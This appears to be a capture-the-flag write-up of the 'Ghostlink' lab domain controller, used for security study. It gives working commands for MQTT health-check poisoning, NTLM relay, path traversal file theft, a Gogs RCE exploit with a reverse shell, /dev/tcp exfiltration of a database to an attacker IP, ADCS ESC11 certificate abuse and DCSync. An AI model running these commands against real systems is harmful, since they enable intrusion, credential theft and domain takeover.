Write-up/Report - Ghostlink Machine

About

Ghostlink is a Hard difficulty Windows machine featuring an Active Directory domain controller and a web server. Enumeration reveals a critical MQTT service used for node tracking, which exposes two internal hosts: a secure file sharing app and a Gogs code host. The attacker modifies the MQTT health check to trigger NTLM authentication, relaying credentials to authenticate as the svc_canary service account. Using this authentication, the attacker exploits a double URL-encoded path traversal vulnerability to exfiltrate the service account's ntuser.dat file. Analysis of the registry hive reveals a recent document for db.zip, containing KeePass credentials for the Gogs application. These credentials are then leveraged to exploit an RCE vulnerability CVE-2025-8110 in Gogs to obtain a foothold. Once on the system, the attacker cracks a Gogs hash to log in as the local user nvirelli. Finally, the ESC11 vulnerability in ADCS allows the attacker to request a Domain Controller certificate and compromise the domain

Attack Phases

Phase	Description	Key Actions
Phase 1	Reconnaissance	Nmap scan, service identification, host/domain discovery
Phase 2	Enumeration	MQTT analysis, web application enumeration, version identification
Phase 3	Initial Access	NTLM relay, path traversal, credential extraction
Phase 4	Foothold	Gogs CVE-2025-8110 exploitation, reverse shell
Phase 5	Lateral Movement	Gogs DB cracking, user switching, user flag
Phase 6	Privilege Escalation	Ligolo-ng tunneling, ADCS ESC11, DCSync, domain compromise

---

Phase 1 - Reconnaissace

Initial Scan

I first performed an initial active reconnaissance using nmap scanning on the target

Target: 10.129.1.70

nmap -vv -Pn -sV -sC -p- 10.129.1.70

The scan identified a windows host exposing several services commonly associated with an Active Directory environment

Port	Service	Version
53	DNS	Simple DNS Plus
80	HTTP	Microsoft IIS 10.0
88	Kerberos	Microsoft Windows Kerberos
135	MSRPC	Microsoft Windows RPC
139	NetBIOS	Microsoft NetBIOS
389	LDAP	Active Directory LDAP
445	SMB	Microsoft-DS
464	Kerberos	Password change
593	RPC over HTTP	Microsoft
636	LDAPS	Active Directory LDAP over SSL
1883	MQTT	MQTT
2179	VM-RDP	Microsoft virtualization-related service
3268	Global Catalog	LDAP
3269	Global Catalog	LDAPS
5985	WinRM	Microsoft HTTPAPI
9389	.NET Message Framing	Microsoft
49664–50962	MSRPC	Dynamic RPC ports

The most significant finding is the presence of Kerberos (88), LDAP/LDAPS (389/636), Global Catalog (3268/3269), SMB (445), and DNS (53) Together, these strongly indicate that the target is an Active Directory Domain Controller

The LDAP certificate further confirms the hostname: dc01.ghostlink.htb

Host: DC01
Domain: ghostlink.htb

The web server on port 80 exposes an IIS 10.0 instance with the title "Ghost Protocol Zero"

Another interesting finding is the MQTT service on port 1883. Nmap was able to retrieve $SYS broker information without authentication, with the output showing clients connecting with: username: "(null)"

This may indicate that the MQTT broker permits unauthenticated connections and is therefore worth investigating further

SMB signing is reported as enabled and required, which makes common SMB relay attacks less immediately promising: Message signing enabled and required

The next logical phase is enumeration, rather than immediately attempting exploitation. I will investigate DNS, SMB, LDAP/AD, HTTP, and MQTT, with particular attention to information disclosure and possible unauthenticated access

Phase 2 - Enumeration

During the Reconnaissance phase, I noticed that the target exposed several services commonly associated with a Windows Active Directory environment, including Kerberos on port 88, LDAP on ports 389/636, SMB on port 445, Global Catalog LDAP on ports 3268/3269, and WinRM on port 5985. The SMB configuration also showed that message signing was enabled and required, making traditional SMB relay attacks less straightforward

More importantly, I noticed that the target exposed the MQTT protocol on port 1883. MQTT (Message Queuing Telemetry Transport) is a lightweight messaging protocol commonly used in IoT (Internet of Things) environments. I then focused my enumeration on this service to determine whether it exposed useful information about the internal infrastructure or provided an attack path

I noticed that the MQTT service allowed anonymous connections and exposed various topics along with their latest messages. This was particularly interesting because these topics could disclose information about the internal infrastructure, including internal hosts and services that were not directly accessible from the external network

installing mqtt :

sudo apt update && sudo apt upgrade -y && sudo apt install cargo
cargo install --git https://github.com/EdJoPaTo/mqttui.git

execute mqttui

mqttui -b mqtt://ghostlink.htb

mqttui -b mqtt://ghostlink.htb -r

By enumerating the available MQTT topics, I found that the broker was tracking nodes within the internal infrastructure. Among the information exposed by these topics were references to internal hosts such as:

gpz-op26-secure.ghostlink.htb gpz-op26-toolkits.ghostlink.htb

I added these to my hosts file and navigated to the discovered hosts The first host presented a secure file sharing application, while the second hosted a gogs instance a self-hosted git service

Gogs Version Identification

Through analysis of the Gogs instance at http://gpz-op26-toolkits.ghostlink.htb, I located a commit hash within the javascript source:

5084b4a9b77a506f5e287e82e945e1c6882b827a

I navigated to the corresponding commit in the official gogs repository and identified the version as 0.13.3 I then searched for vulnerabilities in this version yielded CVE-2025-8110, an authenticated remote code execution vulnerability

I then went to commits of gogs repository https://github.com/gogs/gogs/commits/5084b4a9b77a506f5e287e82e945e1c6882b827a

I found the CVE that belong to this gogs version 0.13.3

CVE : CVE-2025-8110

sources :
https://www.cve.org/CVERecord?id=CVE-2025-8110
https://nvd.nist.gov/vuln/detail/CVE-2025-8110
https://github.com/zAbuQasem/gogs-CVE-2025-8110
https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
https://thehackernews.com/2025/12/unpatched-gogs-zero-day-exploited.html
https://github.com/advisories/ghsa-mq8m-42gh-wq7r

Health-Check URL Manipulation

Since I did not have valid credentials for the Gogs application yet, I temporarily put the Gogs RCE aside and returned to the MQTT service for further enumeration

I inspected the secureshare/healthcheck topic and found that the health-check contained the following URL: gpz-op26-secure.ghostlink.htb/healthcheck

I noticed that the url field was user-controllable through MQTT. I then modified the health-check URL to point to my Responder listener:

{
    "timestamp": "2026-17-08-15:56:39",
    "node": "node-6",
    "telemetry": {
        "healthy": true,
        "url": "http://10.10.14.149",
        "lastCheckSecAgo": 3,
        "responseCode": "200",
        "ip": "172.16.20.10"
    }
}

I published the modified message back to the same MQTT topic while running responder on my tun0 interface

After the health-check was triggered, I received an HTTP connection from the internal host 10.129.10.116. The service attempted to authenticate to my listener using NTLM, revealing the account: ghostlink\svc_canary

This confirmed that I could coerce the svc_canary service account into performing an NTLM authentication request to a host under my control

Since the svc_canary NTLMv2 hash was not crackable with the available wordlist

I decided to use an NTLM relay instead

I configured ntlmrelayx to listen on port 7373, relay the authentication to gpz-op26-secure.ghostlink.htb, and expose the successful relay through a SOCKS proxy:

I then checked the active SOCKS connections from the ntlmrelayx console:

The GHOSTLINK/SVC_CANARY connection to gpz-op26-secure.ghostlink.htb was listed, allowing me to access the application through the authenticated relay session

Relay to Secure Share

Since the NTLM hash wasn't crackable, I relayed it:

ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb -socks -smb2support

This gave me authenticated access to the secure file sharing application through a SOCKS proxy

Path Traversal Vulnerability

With authenticated access, I discovered a double url-encoded path traversal vulnerability in the /api/download/ endpoint.

Test Request:

/api/download/C:%252fWindows%252fSystem32%252fdrivers%252fetc%252fhosts

Extracting NTUSER.DAT

I downloaded the service account's registry hive:

proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fNTUSER.DAT --output NTUSER.DAT

Analyzing the Hive: Using ntuser_parser.py, I discovered a recent document reference to db.zip:

python3 ntuser_parser.py --hive NTUSER.DAT

Finding db.zip Location

The .lnk file revealed the complete path:

proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fAppData%252fRoaming%252fMicrosoft%252fWindows%252fRecent%252fdb.zip.lnk --output db.zip.lnk

LnkParse3 Output:

Local base path: C:\Users\svc_canary\Documents\Operations\Management\db.zip

Retrieving and Opening db.zip

proxychains4 -q curl http://gpz-op26-secure.ghostlink.htb/api/download/C:%252fUsers%252fsvc_canary%252fDocuments%252fOperations%252fManagement%252fdb.zip --output db.zip
unzip db.zip

Contents:

• db.kdbx (KeePass database)
• .key.keyx (Key file)

Opening with KeePassXC revealed credentials: vroth:mOo03jpsqx8JQYMBwvFP

Phase 4: Foothold

Gogs CVE-2025-8110 Exploitation

With vroth credentials, I exploited the authenticated RCE vulnerability in Gogs:

python3 cve-2025-8110.py --url http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.14.149 -lp 9001 -U vroth -P mOo03jpsqx8JQYMBwvFP

Exploit Chain:

1. Authenticated as vroth
2. Created malicious repository
3. Pushed symlink to .git/config
4. Overwrote config via API
5. Injected reverse shell

Success: Received shell as git user

---

Phase 5: Lateral Movement

Cracking Gogs Database

I exfiltrated the Gogs database:

cat /opt/gogs/data/gogs.db > /dev/tcp/10.10.14.149/9999

Extracted and cracked hashes:

sqlite3 gogs.db "SELECT name,passwd,salt FROM user;" | python3 gitea2john.py > hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes

Discovered Credentials: nvirelli:u47YUclrDiwWxBheaSzI

Switching Users

su nvirelli

Proof - user flag obtained:

Phase 6: Privilege Escalation

ADCS ESC11 Exploitation

1. Certificate Authority Enumeration:

certipy find -u nvirelli -p u47YUclrDiwWxBheaSzI -dc-ip 10.129.238.246 -stdout -vulnerable

Key Finding:

• ESC11: Encryption not enforced for ICPR requests

2. Coercing Authentication:

coercer coerce -u nvirelli -p u47YUclrDiwWxBheaSzI -d ghostlink.htb --dc-ip 10.129.238.246 -t 10.129.238.246 -l 10.10.14.149

3. NTLM Relay to Certificate Service:

ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -icpr-ca-name ghostlink-GPZ-OP26-SECURE-CA --template DomainController

Success: obtained domain controller certificate

Compromising Domain Controller

1. Extract NThash:

certipy auth -pfx DC01.pfx -dc-ip 10.129.238.246 -username DC01$ -domain ghostlink.htb

2. DCSync Attack:

secretsdump.py ghostlink.htb/DC01$@dc01.ghostlink.htb -hashes :f09e86e9b9c7e94f2fabaa9e31757e50 -just-dc-user Administrator

Administrator Hash:

8190e067f478002ddd63eb209b016696

3. Get Administrator Shell:

python3 winrmexec.py ghostlink.htb/Administrator@DC01.ghostlink.htb -hashes :8190e067f478002ddd63eb209b016696

Proof - root flag Obtained:

---

Attack Chain

1. Reconnaissance: Nmap scan revealed MQTT service
2. Enumeration: MQTT exposed internal hosts and health-check topics
3. NTLM Relay: Manipulated health-check to capture svc_canary NTLM
4. Authentication Bypass: Relayed NTLM to secure file sharing
5. Path Traversal: Double-encoded path to read NTUSER.DAT
6. Credential Extraction: Found db.zip via .lnk file, extracted KeePass credentials
7. Initial Access: Used vroth credentials for Gogs RCE (CVE-2025-8110)
8. Lateral Movement: Cracked Gogs DB for nvirelli password
9. Privilege Escalation: ESC11 attack on ADCS
10. Domain Compromise: DCSync attack with DC01 certificate

Disclaimer: All activities in this writeup were conducted within a fully authorized, isolated laboratory environment These techniques are presented solely for educational and defensive security purposes